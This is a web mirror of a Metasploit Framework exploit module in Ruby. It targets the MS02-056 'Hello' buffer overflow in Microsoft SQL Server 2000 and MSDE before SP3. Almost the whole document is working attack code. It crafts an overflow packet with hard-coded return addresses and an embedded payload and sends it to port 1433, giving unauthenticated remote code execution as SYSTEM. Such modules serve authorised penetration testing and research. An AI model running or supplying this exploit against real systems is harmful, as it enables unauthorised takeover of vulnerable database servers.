CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mssql/ms02_056_hello.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::MSSQL
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow',
14
'Description' => %q{
15
By sending malformed data to TCP port 1433, an
16
unauthenticated remote attacker could overflow a buffer and
17
possibly execute code on the server with SYSTEM level
18
privileges. This module should work against any vulnerable
19
SQL Server 2000 or MSDE install (< SP3).
20
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' =>
25
[
26
[ 'CVE', '2002-1123'],
27
[ 'OSVDB', '10132'],
28
[ 'BID', '5411'],
29
[ 'MSB', 'MS02-056'],
30
31
],
32
'Privileged' => true,
33
'Payload' =>
34
{
35
'Space' => 512,
36
'BadChars' => "\x00",
37
'StackAdjustment' => -3500,
38
},
39
'Targets' =>
40
[
41
[
42
'MSSQL 2000 / MSDE <= SP2',
43
{
44
'Platform' => 'win',
45
'Rets' => [0x42b68aba, 0x42d01e50],
46
},
47
],
48
],
49
'Platform' => 'win',
50
'DisclosureDate' => '2002-08-05',
51
'DefaultTarget' => 0))
52
end
53
54
def check
55
info = mssql_ping
56
if (info['ServerName'])
57
print_status("SQL Server Information:")
58
info.each_pair { |k,v|
59
print_status(" #{k + (" " * (15-k.length))} = #{v}")
60
}
61
return Exploit::CheckCode::Detected
62
end
63
return Exploit::CheckCode::Safe
64
end
65
66
def exploit
67
connect
68
buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
69
"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
70
"\x10\x00\x00\x00" +
71
rand_text_english(528, payload_badchars) +
72
"\x1B\xA5\xEE\x34" +
73
rand_text_english(4, payload_badchars) +
74
[ target['Rets'][0] ].pack('V') +
75
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
76
'3333' +
77
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
78
rand_text_english(88, payload_badchars) +
79
payload.encoded +
80
"\x00\x24\x01\x00\x00"
81
82
sock.put(buf)
83
84
handler
85
disconnect
86
end
87
end
88
89